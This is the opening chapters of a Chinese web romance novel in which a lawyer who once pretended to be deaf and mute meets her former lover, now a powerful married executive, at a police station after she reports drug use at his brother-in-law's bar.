《嫌我聋哑?六年后带仨崽你强娶豪夺!》 第1章 被前男友看到安全套 被当成失足女扫到警局,又遇到阔别六年的霍宴北,是乔眠至暗人生中最糟糕的一天。 “乔眠,是吧?” 警察拿着一张身份证,例行查问。 “是……” 乔眠反应迟钝地应了一声。 “年纪轻轻不找份正经工作,非得出卖色相做这个营生?走吧,跟我去讯问室做笔录!” 乔眠慌忙捡起地上那双断了鞋跟的恨天高,站起身解释。 “警察先生,你误会了,我在酒吧不是做那个的。” “那你收的一千块钱怎么解释?” “顾客给的,但不是嫖资……我有凭证。” 说着,乔眠将鞋子挂在枯瘦伶仃的手腕上,开始翻包找手机。 因太着急,不小心将包里的一样东西翻落在地。 她急忙弯腰去捡。 却被警察先一步捡了起来。 看着手里那盒安全套,警察表情严肃:“好人家的姑娘会随身携带这个?走走走!好好交代你的问题!” 被强行带出关押区,乔眠想亮明自己的真实身份时,一旁接待室的门开了。 “霍先生?” 警察恭敬的上前打招呼。 乔眠却在听到一个熟悉的‘霍’字时,条件反射的头皮一麻! 等抬起头,看清楚来人后,才彻底愣住了。 男人穿着一身剪裁凌厉的高定羊绒黑色西装。 每一寸质地精贵的布料,完美贴合着一米九的绝佳身材。 那张自带矜贵与禁欲感的建模脸,褪去了早些年的阴郁与锐气。 眉宇间透着股成熟男人久居高位掌控全局的沉稳与凛然。 视线交汇间,乔眠的脸,一瞬间失去了血色。 一时不知作何反应。 紧紧攥住包的掌心起了一层濡湿的汗意。 连呼吸都是紧的。 六年了。 她设想过无数种跟霍宴北再见面时的情景。 可怎么也没想到会是在她最狼狈的情况下! 等回过神来时,霍宴北已经将视线移开了。 他没有认出自己。 毕竟—— 她现在叫乔眠。 早就不是六年前的霍妩。 也不是那个一百六十斤的聋哑胖妹。 现在的她,耳聪能言,一米六八的身高,不足九十斤。 也幸好,他没有认出自己。 毕竟,此刻,她衣着性感擦边的辣妹装。 巴掌大的小脸刷满廉价劣质的化妆品。 渔网黑丝、满臂纹身贴。 艳俗又土气,俨然一个夜店精神小妹。 即便他没有认出自己,乔眠还是紧张的往警察身后躲了躲。 两人的交谈声清晰的传入耳中。 “霍先生,您是来接宋沉少爷的?” “嗯。” “他在里面做笔录,马上就出来,您稍等一下。” “好。” 警察寒暄完,抬脚继续往前走。 乔眠不敢抬头,小心翼翼跟上去。 与霍宴北擦肩而过,闻到他身上那股熟悉清冽的草木香时,呼吸蓦地一滞。 下意识往墙边靠了靠。 脑袋更是低到不能再低。 只是,刚走到讯问室门口,霍宴北一贯疏冷的嗓音在身后响起。 “她……犯什么事了?” 闻言,乔眠心里咯噔一下。 他应该没认出她吧…… 毕竟,霍宴北眼里的她,又聋又哑,还是一个大胖子。 思绪游弋时,听到警察对她的定性。 “她啊,一个误入歧途的失足女。” 说这话时,还特别展示了一下手里那盒安全套。 “……” 乔眠尴尬的脸红。 尤其是,感受到霍宴北那道沉暗的视线落于她身上时,她慌乱又难堪的快要把掌心皮肉抠烂了。 霍宴北又问了一句:“她和宋沉的案子有关系?” “是的。” “具体怎么回事?” 警察:“我们接到匿名举报,宋沉少爷的酒吧涉嫌不正当交易,我们赶到时,这个女人正在收钱,所以,连同整个包厢的人都带了回来。” 末了,补了一句,“宋沉少爷也在其中。” 语音刚落,另一边讯问室的门开了。 一个二十多岁的年轻男人走了出来。 生了一张奶狗系的痞帅脸。 顶着骚包的奶奶灰卷发,一身顶奢潮牌,轻挑的眉眼间透着股不可一世的桀骜与轻狂。 “姐夫!” 当看到男人走到霍宴北身前,唤了一声姐夫时,乔眠惊愣了两秒后,急忙背过身去。 这是她‘卧底’的那家酒吧老板。 没想到,他居然是霍宴北的小舅子! 所以……霍宴北结婚了? 乔眠神情恍惚了一下,不动声色地蹲在墙角,彻底淹没自己的存在。 “姐夫,我太他妈倒霉了,我这酒吧刚开业没几天,居然被举报了!” “这要是让我逮到那个死女人,小爷我……” 宋沉骂到一半,忽然瞥见缩在墙角的一抹熟悉身影,快步走过去。 一把拧住女人的手腕,动作粗暴地将人从地上薅了起来。 “死女人,原来你在这啊,举报我的酒吧,你他妈想死啊?” 乔眠疼得皱眉。 如果早知道酒吧老板是霍宴北的小舅子,她会躲得远远的…… 就在警察上前制止时,霍宴北先开了口:“阿沉,别闹。” 宋沉气冲冲的告状:“姐夫,我没嫖没赌!但是,这个贱女人恶意举报了我的酒吧……” 话音一落,男人淡冷的一个眼神扫过去。 宋沉吓得一个哆嗦,松了手。 霍宴北视线落在女人纤白手腕上的深红指印时,目光停留了一瞬后,看向警察:“既然举报酒吧的人找到了,那就走正常法律程序吧。” “霍先生,我这边需要核实一下具体情况,麻烦您二位先去接待室稍作等候。” “嗯。” 待霍宴北和宋沉走后,警察询问乔眠:“姑娘,那通举报电话,真的是你打的?” “是……” “不好意思误抓了你,可是……虚假举报,你这是浪费警力,违法了,懂吗?” “……” 乔眠眼神复杂。 她举报,事出有因。 只是,没想到会和霍宴北扯上关系…… 就在她犹豫要不要直接跟警察表明身份时,警察说道:“霍先生宠妻如命,你得罪了他妻弟,算是惹上大麻烦了,你在外面等着,我进去尽量帮你争取和解。” 说完,推门进去了。 乔眠却在听到‘宠妻如命’四个字时,胸口就像被冷不丁狠狠戳了一刀。 身体一晃,缓缓蹲在地上。 一双纤白的手臂,环抱住隐隐颤抖的身体。 霍宴北……真的结婚了。 是啊,六年过去了。 他二十九岁了。 早已不是那个眼睛里总是充满阴郁的少年了。 他现在是京圈太子爷。 身份地位最煊赫的霍家掌权人。 掌控地方经济命脉的霍氏集团总裁。 霍宴北这个名字,就是王权富贵的象征。 而她—— 乔眠垂眸,望了一眼自己全身上下不超过一百块钱的行头,不禁苦涩一笑。 起身时,不经意间瞥见休息厅的LED屏,正在播放一则年度公益大使的新闻采访。 “宋蔓女士,您作为国内外最年轻的顶级钢琴表演艺术家,却一直热心致力于慈善公益事业,您的感情生活一直备受瞩目,外界一直传您和竹马恋人霍少隐婚了,对此,您怎么回应?” 世界大师级公益巡演音乐会后台。 在记者们的围堵下,宋蔓一袭典藏极高奢礼裙,娇丽的小脸染着一抹娇羞:“抱歉,请大家多多关注这次慈善巡演,关于感情问题……我现在很幸福,具体不便透露太多哦。” 没有否认的回应,就是暗戳戳的秀恩爱。 记者们纷纷送上祝福。 乔眠却盯着宋蔓时不时撩动秀发,露出无名指上的那枚戒指。 戒指上镶嵌的那颗鸽血红宝石,价值一百多万。 是霍宴北母亲的遗物。 第2章 霍宴北为了小舅子让她道歉 霍宴北看得比命还重。 曾经,她不小心碰到一次,他还发了大脾气。 现在明晃晃的戴在宋蔓手上……两人无疑是婚了。 霍宴北和宋蔓,就像童话故事中的王子和公主,结婚,是命中注定的完美结局。 两人从小青梅竹马,又都出身名门。 一个是高二就保送京大的理科学霸男神,一个是从小就斩获无数艺术大奖的国民小仙女。 这对神仙级颜霸CP。 当年,两人在京大校庆汇演上,合弹了一首《梦中的婚礼》,被传到网上,火爆了。 全网都磕疯了! 都以为这对神仙眷侣会走到一起。 却不想,一场车祸,将那个天之骄子拉下了神坛。 霍宴北双目失明,失去了霍家继承人的资格。 不仅被宋家退婚。 还被当时掌权的大伯逐出了霍家。 在那个雪夜街头,正好被仅十六岁的她捡回了家。 她是一个孤女。 和霍宴北在一起时,她每天除了上课,就是照顾他的饮食起居,还要为他求医问诊。 后来,霍宴北眼睛复明,被霍老爷子接回霍家。 而她,以霍家养女身份,也一起被带回了霍家。 成了冠着霍姓,写在霍宴北户口本上的妹妹——霍妩。 人人都羡慕她野鸡变凤凰,成了霍家的千金小姐。 可只有她最清楚,霍老爷子肯容她,不过是要用兄妹关系斩断她和霍宴北的关系。 事实上,回到霍家,她就提出了分手。 但霍宴北不同意。 还夜夜将她困于床榻偷欢。 直至她大四那年,霍宴北跟宋蔓订婚。 她剪碎了霍宴北斥巨资,请米兰著名婚纱设计师,为宋蔓设计的订婚礼服。 霍宴北当着无数宾客的面,打了她一巴掌后,这段禁忌关系,才彻底走到死亡…… 直到现在,她都无法忘记,订婚宴上那场大火,霍宴北踩着她的肩膀,抱着宋蔓从窗口逃生的一幕…… 濒临死亡那一刻,她才彻底醒悟,霍宴北从始至终爱的都是宋蔓。 而她,一个聋哑胖妹,和他有过情爱,就是他这一生中无法洗掉的污点。 她也无法忘记,霍宴北订婚前夕的聚会上。 所有人以为她天聋地哑,当着她的面,无所顾忌的聊了起来。 “宴北,你马上就跟宋蔓订婚了,怎么还没跟霍妩断啊?” “就是,她除了那张脸怪好看的,可那肉乎乎身材,你跟她办事时,跟拱一头猪似的,恶不恶心啊?” 就在所有人对她污言秽语时,她以为,霍宴北会像以前那样,把嘲笑她的人揍个半死。 可是,她等来的是他长时间沉默之后的心里话。 “阿妩见证了我成为盲人那两年,每次看到她,总会让我想起自己最不堪的过去,怪膈应的。” “可她终究陪我渡过了人生最黑暗的那段日子,所以,我会一辈子拿她当妹妹一样不离不弃,但……” “我不会娶一个聋哑人做霍太太的。” 当时,他说的每一个字,都像是一根根带着倒刺的鞭子,狠狠抽在她心上。 疼的她几尽窒息。 可霍宴北不知道,他说的每一个字,她都能听见。 因为,她根本就不是聋哑人。 当年,她读的是法学手语专业,因为同学和朋友大多都是听障人士,加上她性格孤僻,又不愿与人打交道,所以,生活中,习惯了只用手语交流。 当初,霍宴北因为眼睛失明,性情阴晴不定,还闹过自杀。 她不愿看到他自卑消沉下去,只好装作是聋哑人。 每天在他掌心写字,跟他交流。 大约是,他认为她也是残障人士,觉得同病相怜,才逐渐对她敞开心扉。 后来,他眼睛复明,她本想将这个秘密告诉他,给他惊喜时,他却回到了霍家。 跟宋家再次联姻。 这个秘密,也就没有了告诉他的必要…… 而现在—— 霍宴北和宋蔓,有情人终成眷属。 挺好。 一切回归到了原点而已。 就好像霍妩从未出现在霍宴北的生命中一样。 亦如现在的乔眠,和他相逢,亦是陌路人。 她擦掉脸上不知何时糊满的泪珠,一转身,却撞进一个温厚坚实的怀抱。 一股熟悉的清冽草木香扑面而来。 乔眠浑身一僵。 慌乱抬眸后,对上一双深邃幽暗的黑眸。 是霍宴北…… 此刻,两人身体紧挨。 她胸口似有若无的贴着他宽阔坚实的胸膛。 能够清晰的感受到源自于他高大挺括的身体濆涨而出的体温。 以及鼻息间细微的呼吸声。 “松手。” 走神时,霍宴北疏冷的嗓音飘入耳中。 她这才注意到自己正紧紧攥着他的肩袖。 “对……对不起。” 她退了两步。 紧张的有些结巴。 霍宴北不免多看了她一眼。 瞥见她那双含泪的桃花眼,眉心几不可察的紧了一下。 但很快就挪开了视线。 警察以为她是害怕被追究责任吓哭的,安抚道:“姑娘,别怕,霍先生同意和解,咱们这就去调解室。” …… 调解室。 宋沉瞪着自始至终低着脑袋,一言不发的乔眠:“死女人,你恶意举报我的酒吧,害我一晚上损失几十万营业额,你赔得起吗?” 乔眠缓缓抬眸,无视吼得脸红脖子粗的宋沉,而是看向霍宴北。 男人垂着眼眸,没有看她。 修长冷白的手指,轻轻捻过腕骨上那串与他身份地位极不匹配的核桃红绳手链:“根据《治安管理处罚法》第四十二条,虚假举报、捏造事实,处五日以上十日以下拘留……” 说到这里,看向警察:“让她道歉,就不予追责。” 警察陪笑:“霍先生,您对法条这么熟悉的么?” 男人蹙眉:“背错了?” “呃……没错!” “那还等什么?” “……” 警察走到乔眠身边,低声劝解:“姑娘,几十万的赔偿不是小数目,要不,你跟宋少道个歉,和解吧。” “……” 乔眠搁在腿上的一双小手,紧紧攥成拳头。 霍宴北还是和六年前一样,选择性护短。 但凡和宋蔓沾上关系,是条狗,他都会百般维护。 何况,这次,护的可是他小舅子。 只是—— 乔眠:“我不和解。” 宋沉气笑了:“臭女人,难得我姐夫开恩,就让你给小爷我道个歉,别他妈给脸不要脸!” 乔眠倔强地紧咬着唇:“我不道歉,也不和解。” “那就公事公办。” 霍宴北语气隐露不耐。 警察急忙将乔眠拉到一旁:“姑娘,霍先生可是出了名的性子冷,不好说话,今天难得肯放你一马,你道个歉,就没事了。” “只是性子冷……” 乔眠喃喃自语。 那是对霍宴北的认知太浅薄了。 只有做过他地下情人的乔眠最清楚,霍宴北这个人,不仅性子冷,还是个狠戾无情的疯批变态! 她下意识抚上脸颊,仿佛依旧能感受到当年那一巴掌,掴在脸上时火辣辣的灼痛感。 至于他为何熟知法条…… 毕竟,他睡了她一个法学手语专业的胖妹好几年…… 当年,在霍家,他夜夜闯入她这个妹妹的房间行荒唐事。 她床头的法律课本,都快被他翻烂了…… 第3章 他打了她那一巴掌 乔眠快速敛去眸底涌动的情绪,回去坐下。 警察以为她想通了,将一份调解书放在她面前,“签完字,道个歉,你就可以走了。” 乔眠看都没看一眼,将调解书推回去:“警察同志,在包厢里,跟我一起被带回警局的黎少和沈少,还在关押区吧?” 警察一愣:“是啊,还没提审呢。” 乔眠:“他们在酒吧809包厢吸食违禁品,但凡懂点法律常识的公民,都会打电话举报吧?” 警察震惊:“什么?违禁品?” “这俩人被你们当成嫖客抓进来之前,将剩余违禁品放在了包厢沙发下面……” 说到这里,她看向脸色大变的宋沉:“这点,宋少可以作证。” “你他妈放屁!” 宋沉吼道。 乔眠表情平静:“我有没有虚假举报,去酒吧搜查一下就知道了。” “你……” 宋沉哑火。 求助的眼神看向霍宴北,“姐夫,是黎少和沈少……” “闭嘴。” 霍宴北冷声打断他。 乔眠眼梢微挑,看向警察:“根据《刑法》第三百五十四条:提供或容留他人吸食违禁品,处三年以下有期徒刑、拘役或者管制,并处罚金,对吗?” “呃,对……” 警察纳闷:“姑娘,你怎么也熟知法条啊?” 乔眠没有回答这个问题,转眸,看向坐在对面,脸色越来越沉的男人:“请问,霍先生,我还需要道歉吗?” 霍宴北寒潭般冰冷的眼眸里终于有了一丝动荡的情绪。 他目光幽深,紧紧盯着乔眠那张被浓妆掩盖,辨不清原本面貌的小脸。 尤其是,对上那双清澈水润的桃花眼时,黑眸微眯:“你是谁?” 从第一眼看到她,就觉得她的眼睛,像阿妩…… 她熟知法条。 也像阿妩…… 霍宴北缓缓起身,双臂撑在桌案上,探过半个身体,一瞬不瞬的盯着女人。 他身材过于高大,盖下来的阴影,像密不透风的牢笼一样囚着她。 乔眠吓得神经紧绷,呼吸紧促。 脸上的从容和淡静,快要土崩瓦解时,她垂眸,避开男人深邃的似能穿透人心的眸光,淡声:“我叫乔眠。” “乔眠?” 男人眼神恍惚了一下,坐了回去,双手交叉于怀,声音淡的没有任何情绪:“乔小姐所说,很可能是一面之词,除非……你有视频或者录音。” 乔眠:“没有。” 霍宴北睨向警察:“那么就请警察同志去酒吧809包厢搜一搜,看看能不能搜出违禁品。” 语落,提醒了一句:“乔小姐,现在道歉,还来得及。” 乔眠眼神坚定:“我没有虚假举报,我不会道歉的。” “很好。” 霍宴北戏谑地勾了下唇角。 宋沉有些沉不住气:“姐夫,我……” 霍宴北眉眼一压。 宋沉蔫吧闭嘴了。 警察见调解无望,还引出违禁品了。 这案子的性质就变了。 他只能带人去酒吧搜查。 此时,并不宽敞的调解室,静谧的掉针可闻。 不知是和霍宴北同处一个空间,过分紧张的缘故,乔眠心神不宁,隐隐有一种不好的预感。 宋沉心虚的反应都写在脸上。 但是,霍宴北…… 波澜不惊的态度,让人逐摸不透他内心的想法。 他就不担心,警察搜出那些违禁品,他的小舅子会牵扯其中? 他的反应,很不正常…… “乔小姐,在害怕?” 看到女人眉眼隐露忧愁,霍宴北挑眉,问了一句。 乔眠故作很平静的样子与他对视:“不做亏心事,自然不怕鬼敲门,除非真的有鬼,干预警方办案。” 她意有所指。 霍宴北轻嗤一声。 像是在嘲她的自不量力。 乔眠手心冒汗。 他越是稳如老狗,她心里越是没底。 这时,一阵婉约动听的手机铃声响起。 乔眠第一反应是看向霍宴北。 且知道是宋蔓打来的。 因为这个手机铃声,是宋蔓和霍宴北当年合奏的那首《梦中的婚礼》。 是宋蔓的专属铃声。 六年了,依旧没变。 一如他对宋蔓的长情。 乔眠垂着眼睫,尽管不想去听,可是,调解室并不大,电话接通后,还是能隐隐听到宋蔓哭泣的娇弱声音。 紧接着,霍宴北罕见柔和的嗓音响起。 “别哭,我会处理好的。” 说完这句话,他扫了一眼乔眠。 大概碍于她这个外人在,于是,起身走到窗前讲电话。 乔眠沁着水雾的眼眸,随之落过去。 对方不知道又说了什么,霍宴北冷峻的眉宇间化开一丝温柔,语气变得格外宠溺:“我也想宝贝了。” 一字一句,像绵密的针一样,狠狠戳在乔眠心脏上。 这样会低声轻哄女人的霍宴北,六年前,她不是第一次见到。 唯独对宋蔓,他永远都是给不尽的深情和温柔…… 一滴眼泪砸下来。 乔眠低着头,快速用手蹭掉。 霍宴北结束了通话。 回来坐下后,一直低头看手机。 大概在跟妻子聊微信,菲薄的唇时不时扬起。 乔眠呼吸发紧。 煎熬的渡过半个小时,警察回来了。 神情严肃的瞅了一眼乔眠后,走到霍宴北身前,态度恭谨的汇报:“霍先生,没有搜到违禁品。” 宋沉愣了一下后,表情得意的瞪向乔眠:“死女人,这次,我不仅让你赔偿我酒吧的一切损失,还要让你跪着给我道歉!” 警察汗颜:“霍先生,您看……” 霍宴北声音淡淡:“该如何收尾,还是取决于乔小姐的态度。” 警察再次劝说乔眠:“霍先生给你机会了,你现在道歉,还来得及。” “……” 乔眠咬着唇角。 以她对霍宴北的了解,他根本不是一个一二再会给别人机会的人。 虽然不知道他什么时候命人清理了那间包厢,但是,倘若她道歉,就是承认自己虚假举报。 那么,黎少和沈少,以及霍宴北的小舅子,就会无罪释放…… 乔眠提议:“警察同志,做尿……” “艹!贱女人!” 还未说完,宋沉怒骂一声打断她。 然后,像一只疯狗似的蹿起来,抓起桌上的一只烟灰缸,狠狠砸向了乔眠。 第4章 被他小舅子打,霍宴北紧紧抱着流血的她 乔眠硬生生被烟灰缸砸破了额头。 尽管极力隐忍,可还是疼得轻喊出声。 头晕目眩的直接从椅子上摔到了地上。 殷红的鲜血像溪流一样,透过指缝往外涌。 顷刻间,鲜血就染红了雪白纤细的小臂。 事发突然,警察紧忙搀扶乔眠起身时,霍宴北快步走过来,一把将她打横抱了起来。 警察:“流这么多血,得马上送医院。” 刚说完,男人已经抱着乔眠跑出了调解室。 警察让同事将宋沉扣下后,急忙跟出去:“霍先生,坐警车快。” 霍宴北没有迟疑,抱着乔眠上了警车。 警察打开警报器,朝医院疾驶而去。 此时,乔眠脑袋又疼又晕。 但意识还算清醒。 闻到淡淡的草木香味道,感受着曾经令她眷恋的熟悉怀抱,犹如被一条通体冰冷的毒蛇死死缠住般。 乔眠惊惧的推他:“放……放开我……” 看着怀里反应激烈的女人,男人眉宇微皱,“别动!” 不轻不重一声低斥,让乔眠条件反射地打了一个哆嗦。 对他的畏惧,早已刻骨,形成了生理反应。 不知是疼的,还是被吓得。 沾染血雾的眼睛里蓄满眼泪。 泫然欲泣的怜人模样,惹得霍宴北双臂情不自禁收紧。 感受着她的气息,碰触着她的肌肤,他心底竟生出一种奇异的熟悉感。 眼底情绪也变得暗潮涌动。 尤其是看到她那双楚楚可怜的泪眼时,仿佛看到了六年前那场大火中,阿妩满目悲泣,望着他时的模样…… 霍宴北心脏蓦地钝痛。 缓缓垂头,克制住想要吻掉她眼角泪珠的冲动,嗓音低哑至极:“乔眠,我们以前见过吗?” 犹如穿肠毒药的一句话,让乔眠惊慌的用尽全力挣脱他的怀抱。 浑身颤抖的紧靠车窗的位置缩成一团。 擦了一把脸上挂着的不知是眼泪还是鲜血,语无伦次的回了一句:“没……没见过。” 如同兜头被浇一份冰水,男人眸底闪过一丝落寞。 他一定是疯了,才会把她和阿妩联系在一起…… 见女人避如蛇蝎般缩在座椅里,和他之间隔了一大段距离,似乎被他吓到了。 霍宴北敛去情绪,把一条手帕递过去:“擦擦。” 乔眠防备的往车窗的位置缩了缩:“不用了。” 不知为何,她越是避他,霍宴北越忍不住想靠近她。 他直接坐过去,伸手,将手帕覆盖在她的伤口上。 很快,鲜血就将手帕浸透。 霍宴北瞳孔一紧,正欲开口问什么时,警察喊道,“到了!” 乔眠紧忙推开他的手,准备下车时,却被男人一把捞进怀里,抱下了车。 …… 急诊室。 “伤口很深,流这么多血,怎么伤的?” 一个年长的女医生,一边给乔眠紧急清创,一边皱眉问。 “烟灰缸砸的。” 站在旁边的霍宴北回答。 医生怔了一下,见他身边还站着一个警察,心下便有了猜测。 “瞅你长得挺英俊的,也是有身份的人,怎么还家暴?” “……” 霍宴北蹙了蹙眉,不屑于解释。 乔眠却忍不了一点被误会和他是夫妻。 刚要开口说话,医生握了握她的手:“姑娘,别怕,警察在呢,他不敢再打你了。” “我……” 乔眠急得想坐起来,却被医生摁了回去:“不想留疤就别乱动。” 乔眠一听,安静了下来。 医生清创后,见又有鲜血涌出来,拧眉看向霍宴北:“你老婆是不是有凝血障碍症?” 霍宴北瞳孔猛地一颤,紧紧盯着病床上的乔眠:“有吗?” 乔眠不想承认。 但又不能拿生命开玩笑。 只得点了下头。 男人的呼吸,瞬间紧促了起来。 阿妩也有凝血障碍症…… 怎么这么巧…… “这种病症,最忌受伤流血,失血过多,会有生命危险的。” 医生嫌弃地瞪了一眼霍宴北:“你怎么做丈夫的?自己老婆什么体质都不清楚?” 说罢,又看向警察,“这种家暴男,绝对不能姑息。” “……” 警察汗颜。 想解释,但见正主都没反驳,只好装聋作哑。 事实上,霍宴北这会儿完全没听清楚医生说的话。 他极力克制着濒临失控的情绪,凝视着病床上的女人,嗓音低哑地唤了一声:“阿妩……” 声音很小。 乔眠听见了。 嘴唇都咬破了,才压抑住惊乱的情绪。 她微微侧身,装作没听见。 “过来,抱着你老婆!” 医生的招呼声,让男人凌乱的神智瞬间清醒。 “虽然你老婆打了麻药,但缝合时,可能还会有些疼,你抱着她,别让她乱动。” “不用他……” 乔眠脸上写满拒绝。 “看把你老婆吓得,也不知道你平时是怎么虐待的。” 医生嘟哝了一句,瞅向警察:“警察同志,你来吧。” “好。” 警察刚走过去,霍宴北已经弯腰坐在病床边,一双修长宽厚的大手,捧住乔眠的脑袋。 她刚一挣扎,男人掌心收紧:“别动。” 嗓音很轻,却透着不容违逆的命令。 乔眠就像被点了穴,身体紧绷的动不了。 只得闭上眼睛。 当他不存在。 可是,他身上那股淡淡的草木香,指骨间的温凉,无时无刻不勾起和他曾经在一起时的一些回忆。 同样是在医院。 那年,口罩疫情。 他阳了。 她翘课,偷偷到医院看他。 他没控制住,和她在病房做了一次。 把她也折腾阳了。 最后,两人被隔离在病房一个月。 那一个月,他专属于她一个人。 是她最难忘,也最幸福的日子…… 那些画面,一帧帧在脑海里放映。 乔眠却如同经历了一场酷刑折磨。 曾经再美好,也只是一场被他玩弄的噩梦…… 缝合结束后,乔眠被转入一间独立病房。 医生叮嘱霍宴北:“你老婆要是出现头晕恶心的症状,就有可能是脑震荡,颅内出血,必须留院观察。” 霍宴北一副家属做派,点了下头,“有劳了。” 乔眠终于忍不了,开口解释,“我不是他妻子,他有妻子。” “啊?” 医生懵了一下,脑补了一场原配打小三的戏码,感叹了一声‘贵圈真乱’后走了。 霍宴北晦暗莫深的看着乔眠:“你怎么就知道我有妻子?” 第5章 他花钱要和她交易 乔眠闷声回了一句,“新闻上看到的……” 男人眸底顿起一抹兴味:“你很关注我?” 乔眠噎了一下。 知道随便找一个借口,反而令他起疑。 于是,编了一个半真半假的说辞:“实不相瞒,我是您和您妻子的CP粉,自然会多关注一些。” 当年,他和宋蔓这对CP,比明星热度都火爆。 追捧的粉丝很多。 即便现在,亦有大量粉丝疯磕。 就连警察也笑着说:“霍先生,我妹妹还是您妻子的粉丝呢。” 霍宴北捏了下紧皱的眉,没再多问。 但是,病房里的温度却因男人一点点沉下去的脸色,骤然降了几度。 气氛莫名压抑起来。 乔眠趁机转移话题:“警察同志,我还需要验伤吗?” 经她提醒,警察回归正题:“霍先生,宋沉少爷那边……” 霍宴北淡声打断:“伤人是他不对,当罚当拘,请便。” “是……” 警察松了一口气,还以为霍先生会提出私下和解。 不过,那个宋少把一个姑娘伤成这样,确实太过分了。 “那我先回警局处理这件事,至于乔小姐这边……” “我作为伤人家属,自然会照顾好受害人。” 语落,霍宴北在病床前的椅子上坐了下来。 乔眠吓得往床内挪了挪。 她很了解霍宴北。 他以退为进,支走警察后,她就成了狼窝里的小白兔,任其宰杀了。 “警察同志,我……” 乔眠挣扎着要坐起来,霍宴北伸手扶她时,薄唇擦过她白皙的耳蜗:“荣华律所的乔律师,混迹酒吧,是很缺钱?” “……” 乔眠震惊地看着他。 霍宴北轻挑眉宇,歪了下头。 她先前到嘴边儿的话,只得改口:“警察同志……我想跟霍先生私下好好谈谈。” “那好吧。” 警察走后,乔眠皱眉看着霍宴北:“霍先生什么时候知道我是荣华的律师?” “很难猜?” “……” 怕是见她熟知法条,已经猜到了。 且命人查了她。 想到这里,她问:“霍先生是在得知宋沉酒吧被举报后的第一时间,就命人把酒吧809包厢的违禁品清理干净了吧?” 霍宴北勾唇:“你很聪明。” 乔眠冷笑:“不及霍先生心思深沉,明知道我并非虚假举报,却摆出一副受害人宽宏大量的姿态,要我道歉,倒是很会颠倒黑白。” “你也并不无辜。” “什么意思?” 霍宴北起身:“乔律师打算留着在包厢偷拍的视频,等着日后敲诈勒索吗?” “……” 乔眠心下一惊。 他居然知道? 原来,他早就猜到她手里有视频。 担心她会将证据交给警方。 这才要求和解…… 这个男人,比起六年前狠戾激进的行事作风,多了几分稳沉。 城府却也更深。 更危险。 “我没有视频。” 她硬着头皮否认。 “倒是嘴硬。” 霍宴北斜靠窗前,修长的双腿闲散交叠,点了一支烟,吞云吐雾时,仔仔细细打量着女人。 她脸上的浓妆已经被清理干净,露出了原本面貌。 那是一张极清纯的精致面孔。 不施粉黛的鹅蛋小脸,泛着病弱的苍白,肌肤却如羊脂玉般白嫩细腻。 一汪烟雨般莹润的桃花眼,纯澈的不染一丝杂质。 微卷长发,如瀑般缠在后腰。 除了穿着艳俗,眉宇间的气质又纯又欲。 面相偏幼态。 看起来像一个二十出头的大学生。 就是瘦的怜人。 不知为何,看着她,总有一种莫名的熟悉感。 “乔律师多大了?” 被他灼热的目光盯得浑身发毛,又听见他问及年龄,乔眠慌乱的又往床内侧缩了缩:“二十七岁。” 她多报了一岁。 因为身份证上的乔眠是二十七岁。 “看着不像。” “霍先生看着也挺老的。” “也?” 男人似笑非笑,“我是觉得你面相小,你却觉得我老?” “……” 乔眠咬了一下唇角。 刚才紧张,顺口说的。 现在的他,风光霁月,比六年前愈加冷艳卓绝。 一点都不老…… 见她缩成一团,还一副防狼姿态,霍宴北好笑的扯了一下嘴角。 也惊讶于自己居然跟一个陌生女人闲扯。 他将剩余的小半根烟掐灭,丢进垃圾桶后,言归正传:“乔律师,你没有把视频交给警方,不就是为了谈判时增加筹码?既然你图钱,开个价,我买。” 被他这般误会羞辱,乔眠有些恼:“霍先生,不管你出多少钱,我都不会卖的。” “美女,别把话说的太满。” 这时,一道清越的嗓音从门口传来。 乔眠循声望去。 一个西装革履,帅气斯文的男人走了进来。 看清楚来人时,乔眠眉头狠狠一紧。 她认得这人。 顾淮年。 霍宴北的发小。 他的【众诚律所】,做到了行业内最顶尖。 是国内闻名的顾大状。 但私下,却是个披着绅士风度的外衣,雅痞毒舌的风流浪荡子。 当年,霍宴北那些朋友中,数他最爱嘲笑她是一个小哑巴、大胖子。 想起当年,他们这帮人,是如何当着她的面,对她言语羞辱时,应激的生理性恶心,让她胃里一阵翻江倒海。 她捂住嘴,干呕一声。 从病床上下来,踉踉跄跄的跑到洗手间,抱着马桶吐了。 “靠,我是一坨病毒不成,一见到我就吐了?” 顾淮年又气又笑的抖了抖眉尖。 霍宴北没理他,跟着进了洗手间。 一天没怎么吃东西,乔眠也没吐出什么。 纯粹恶心。 直到胃里那股恶心劲儿没有那么强烈时,才站起身,双腿虚软的走到洗手台前。 打开水龙头,掬了一捧冷水浇到脸上。 抬头后,却看到镜子里霍宴北那张冷峻逼人的面孔。 撑在洗手台的双手,一点点抠紧。 乔眠在镜子里与他对视。 他也静静地看着她。 对峙不过两秒,她败下阵来,转过身,准备快速逃离他的视线时,霍宴北伸手扣住她纤细的手腕:“还有哪里不舒服?” 乔眠正欲挣开,却在看到男人袖口处露出的一条桃核红绳手链时,愣住了。 第6章 初经人事的鲜血染红了他的冲锋衣 这是她送给霍宴北的第一份生日礼物。 那时,他还没有被接回霍家。 眼睛也没有复明。 那天他生日,她带他去爬山。 在寺庙中,求了两条寓意平安顺遂的桃核红绳手链。 其中一条当作生日礼物送给了他。 当时,他牵住她的手问:“阿妩愿不愿意当我一辈子的眼睛?” 那时,少女的羞涩和迷恋都写在脸上。 只是,他看不见。 她在他掌心写下三个字:我愿意。 当时,他吻了她。 那是两人第一次接吻。 却失控了。 落日余晖下,在半山腰的一颗银杏树下,少女初经人事的鲜血,染红了少年的冲锋衣…… 此时,看着这条代表着两人那段美好回忆的手链时,乔眠只觉得厌恶。 更没想到,他还会戴着这条手链。 当年,他回到霍家后,就将手链取了下来,换成了宋蔓送给他的那只价值百万的情侣名表。 她以为,他早就将这条手链丢了…… “除了恶心呕吐,还有其他反应没?” 霍宴北见她眼圈泛红,表情呆呆的,蹙眉问道。 乔眠敛去眸底潮湿的情绪,这才明白,他为何会跟进来。 原来是记得医生的叮嘱。 他的关切,只是怕她伤势严重,他小舅子伤人一事,处罚会更重。 他对小舅子还真是护到了极致。 可见,平时,他对妻子,又该是怎样呵护宠溺…… 想到这里,她呼吸发紧,冷漠的甩开他的手:“霍先生,您请顾大律师来,预备怎么对付我?” “出来聊呗。” 跟过来瞧了一出热闹的顾淮年,眼神意味深长的在两人身上晃悠了一圈后,强调:“美女,我是霍先生的代理律师,跟我聊。” 乔眠冷着脸,没理他,径直走了出去。 “呵!这小劲儿。” 